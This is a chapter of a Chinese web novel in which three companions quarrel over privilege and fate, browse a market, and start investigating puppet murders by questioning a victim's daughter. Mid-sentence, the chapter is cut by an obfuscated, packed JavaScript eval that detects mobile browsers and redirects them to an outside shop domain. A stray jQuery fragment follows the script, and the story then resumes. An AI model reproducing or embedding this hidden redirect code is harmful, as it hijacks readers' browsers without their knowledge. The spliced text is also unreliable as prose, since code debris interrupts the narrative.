文趣网 > 其他小说 > 君心何所向 > 31. 傀儡案初步调查
    穆锦衾意外,涂酸鸡难得和他战线统一,蛮值得惊奇一下,于是道:“哟,真是难得。”

    涂引笙忽然又道:“不,我改主意了,别加我。”

    穆锦衾道:“其实本身也没打算。”

    涂引笙放下筷子道:“我觉得长老们没错。这个世界本身就是物竞天择,适者生存的,不为了享受特权那费尽千辛万苦爬到高位为了什么?是吃苦成瘾吗?这都是命,命里有时终须有,命里无时就靠自己抢!”

    穆锦衾反驳道:“胡说八道。谁不是爹妈生的?凭什么生出来就低人一头,凭什么生出来就要被欺负,还要被人告诉说这就是命,神经病吧,这分明就是人为!少胡扯什么命。”

    涂引笙嗤笑:“嘁,还不信。”

    穆锦衾道:“若是方家不强行将你们划出个三六九等来,你们怎么会这样在意等级和出身?说白了,这些不公平不正义就是人为。你也少拿特权欺负人。”

    涂引笙道:“哈哈哈哈哈!可笑,穆锦衾,你真的很伪善。怎么什么事情到你这里都特殊一些?受欺负了知道这是不公平不正义,你走门子进方家的时候怎么不说?你知道这个世界上有多少人为了进个方家砸锅卖铁散尽家财吗?方家不过是收点税,发点徭役,又没碍着你什么,到你这儿就是不公平不正义……行使特权要是不公平不正义,那我忍辱负重,终于熬过了被修为高的修士欺凌,被泼尿喂屎,被掐着脖子泡水桶差点死了的日子算什么?不就是为了获取特权吗?弱小就该被奴役欺凌,谁不是这样过来的?怎么到你这又特殊起来了?!真是去他妈个公平正义!”

    涂引笙越说越激动,也顾不得这是在方易衿面前了,起身道:“穆锦衾!你别以为你救了我一次就能让我对你改观!”

    随即愤怒离席。

    穆锦衾被莫名其妙劈头盖脸一顿指责,顿时怒火中烧:“谁他妈愿意救你了?你有病吧!神经。”

    方易衿立马起身拉住他,安抚道:“阿衾,别生气别生气。”

    穆锦衾气呼呼地坐下。

    方易衿递给他一杯水,道:“喝点水消消气。”

    穆锦衾把递来的水一饮而尽,啪一声重重放下,道:“真可笑,好像进方家是什么天大的恩赐一样,还散尽家财砸锅卖铁,他们愿意这样和我有什么关系?再说了,我进方家,和他们想要的东西又不一样……”

    方易衿安慰道:“好阿衾,别往心里去。你的名额并不影响正常招生,没有占用其他人的名额的。”

    穆锦衾道:“我不生气!我也不关心!”

    方易衿顺了顺穆锦衾的背,沉默一阵,提议道:“要去街上逛逛吗?”

    穆锦衾嘟囔道:“行啊。”

    收拾好行囊,方易衿就带着这一行人去街上四处逛。穆锦衾情绪来得快去得也快,一上街就被各种各样的热闹吸引,什么涂引笙早就抛之脑后。

    “拨浪鼓咯,拨浪鼓——”

    拨浪鼓发出的咚咚声将穆锦衾吸引了过去,他拿过一个拨浪鼓,喜滋滋地拨弄起来。

    穆锦衾问道:“玩过这个吗?”

    方易衿道:“算玩过。”

    穆锦衾回忆道:“什么叫算玩过啊,你就是玩过。我很小的时候,师父给我做了一个,你应该还记得吧?你不就拿去玩过?后来么,就不知道丢哪去了。”

    方易衿思绪一阵飘远,道:“嗯……”

    穆锦衾道:“想什么呢……”

    方易衿回过神,道:“想要吗?我给你买。”

    穆锦衾没趣道:“我又不是小孩儿了,不买不买,走吧!”

    穆锦衾走在前面,东看西看,像只久困笼中的小狗初次被放出来,见什么都倍感新鲜。

    “蝴蝶佩,鸳鸯佩,双鱼佩,龙凤佩咯!快买去送心上人!”

    穆锦衾拿起这蝴蝶玉佩端详,啧啧称奇,道:“老板,这个能单卖吗?”

    老板道:“客官,我们这玉佩都是成双成对卖的,不好拆啦,拆了一只卖给你,另一只就卖不出去啦。”

    穆锦衾有些纠结,要不然两只都买了?可是一个人戴两只一对儿的玉佩干什么?既浪费钱也浪费玉。

    “另一只我买就是了。”

    方易衿大手一挥,钱已经塞进老板手里了。

    穆锦衾放下玉佩,连忙道:“别别别,我不要了,我不买了。把钱还给我们吧老板。”

    说完从老板手心里把钱拿了回来,塞还给方易衿,不小心对视一眼立马慌乱地离开此处。他不习惯别人对他太好,否则总觉亏欠,更何况他已经知道方易衿对自己的心意,更加无法轻易接受对方的好。

    穆锦衾也想,自己这样见外会不会让方易衿心寒难过?可是事情已经发生,能做的无非只有事后尽力弥补,于是心里暗暗打算下次对方易衿好点,只要不是过分的要求就都答应他。

    街算是逛完了,几人开始正式查案。

    方易衿道:“傀儡杀人案目前发生了四起,受害者若干名,第一次受害人是李家的税吏李白玉等人,第二次的受害者是东州几位富户家的公子,分别是陈晦、段苗、燕琼三人,第三次的受害者是樟树村的农民,叫做牛一,第四次的受害者是樟树村的大户,王兴怀。据目击者所言,案发现场均残留下一股特殊的香味,与某种木头味道近似,猜想应该就是那木制傀儡的味道。”

    涂引笙道:“是仇杀?”

    方易衿回答:“有这种可能。几位死者之间,并没有直接的社会联系,若是仇杀,那凶手很可能就是将他们串联起来的那个人。”

    穆锦衾道:“税吏、富家公子、普通农民、地主大户……这个普通农民和地主大户还是同一个村的,你们说有没有可能,这个凶手就来自樟树村,与牛一和王兴怀结怨,长大后走出樟树村,因交税事宜和税吏李白玉结怨,至于这几位富家公子……既然是纨绔,那随便什么事都能有可能和凶手结怨了。”

    方易衿欣慰点点头,道:“同我想的一样。”

    穆锦衾道:“所以说,我建议我们先去樟树村!”

    涂引笙反驳道:“你刚才说的那些忽略了时间节点,若是如你所说,那就该先杀了同村的牛一和王兴怀这两个最先结怨的人,毕竟同村的话,很方便动手,最后才是税吏或者富家公子,而不是反过来。所以我建议先查李白玉案。”

    方易衿道:“但要查李白玉少不了惊动李家,一旦涉及到李家,很多事情我们就难以得知,我们此次前来,还有一个重要任务是拿住李家欺压百姓,贪腐受贿的切实证据。”

    涂引笙问:“这是长老安排的任务还是昭明君自己给自己安排的任务?”

    方易衿拿出长辈的派头,道;“难道是我安排的你就能不干了吗?”

    涂引笙吃瘪,悻悻道:“我遵命。”

    方易衿继续解释道:“你说的虽然有道理,不过并非全无破绽,试想,若你是这个凶手,此时此刻并不身在樟树村,眼前是你的仇人李白玉,怎样?难道你要先放过他,等回去杀了牛一和王兴怀再来杀李白玉?”

    涂引笙不得不认错道:“是我想当然了。”

    穆锦衾见他吃瘪,忍不住哼笑,引的涂引笙对他投来恨意的目光。

    “略略略。”穆锦衾还朝涂引笙做了个鬼脸。

    几人来到樟树村牛一家。

    牛一家只剩下

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17800684|210623||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    牛一妻女二人,一老一小两个女人日日恸哭,老人已把眼睛哭瞎,看上去可怜极了。

    方易衿、穆锦衾和涂引笙进了门。

    方易衿道:“你是牛一的女儿,牛秋月?”

    牛秋月点点头,回答道:“我是,你们是李家人?”

    涂引笙道:“之前有李家人来查过此案吗?”

    牛秋月道:“这事儿你问我?看来你不是李家人。你们是什么人?”

    穆锦衾仗义豪言道:“我们既不是李家,也不是其他什么家,我们就是我们自己,专行行侠仗义之事,此次行至东州,听闻了这傀儡杀人的怪事,李家人坐视不理,甚至从中获利,实在让人无法坐视不理,所以我们仨一合计,这事儿我们管了!听说你就是其中一起案件的受害人家属,因此过来了解情况。”

    牛秋月道:“如此说来,你们也是混江湖的?报上名来听听?”

    穆锦衾还在思考,方易衿率先道:“我们是怪侠三星月,算是初来乍到,还没有什么名气。不过也许你听说过西州人口失踪案?此案件的解决我们也暗中出力不少,不信的话,姑娘可以随意问与此案相关的情况。”

    牛秋月恭敬不如从命,问道:“据说,方家的昭明公子,于裴府宴会上,对一人倾情告白,请问,被告白之人是谁?”

    穆锦衾:“!?”

    方易衿:“……?”

    涂引笙:“这事儿我倒是也听说了……应该是裴家小姐吧,听说裴家小姐清雅秀丽,温良有礼,精通州中各种事务,除了她,谁还能让昭明君告白?”

    方易衿一脸无辜地转向穆锦衾道:“当然不是,那个人应该是……”

    穆锦衾惊了一大跳,立马捂住方易衿的嘴,插嘴尖叫:“啊啊啊这个这个……这个好像和案件没什么关系吧?牛姑娘,你问点有用的。”

    涂引笙:“?”

    方易衿大张旗鼓在裴府晚宴上和穆锦衾告白这件事吧,裴裕舒已经尽力去堵下人们的嘴了,但是没想到还是传了出来,也许是认为昭明公子大好男儿,有个心上人也不见得是怪事,所以有些人干脆就传扬了出去。有心上人不是怪事,但是心上人是个男的那可就是怪事中的怪事了!所以传扬者也怕被追责,没传得太完全,只传了倾情告白,但没传对谁告白。

    牛秋月淡淡道:“可是就算我问了,我也不知道你们答的究竟对不对。毕竟我知道的,只有公开的大家都知道的内容,而问这些大家都知道的内容,也没什么意思吧?”

    涂引笙道:“那你想怎样?”

    牛秋月人淡如菊般,道:“帮我免费做个媒吧,我就信你们,到时候想问什么都可以。”

    父亲一死,母亲随之抑郁成疾,全家的重担都压在了牛秋月身上,乱世里的女人能有什么出路?嫁个好人家应该是最好的选择了,而如今,她连找媒人的钱都拿不出来,只能出此下策求助于“怪侠三星月”。

    涂引笙道:“这有什么难,没问题。”

    方易衿却站起身,分析道:“牛姑娘,你这样选择,恐怕是为了久病无医的母亲吧?”

    牛秋月苦笑不语。

    穆锦衾反应过来因果,心想牛秋月居然不趁机要一大笔钱,反而是要将自己牺牲于一段未知的婚姻,拿自己做赌注,为母亲搏一个生的希望,这未免也太不麻烦别人了?

    要是沈知序在就好了……

    穆锦衾懂了方易衿的意思,道:“牛姑娘,何至于此?我们会帮你治好母亲的,再给你寻个好差事,未来的日子还有什么好愁?”

    方易衿道:“正是如此。”

    涂引笙低声自语道:“多管闲事,废这功夫……”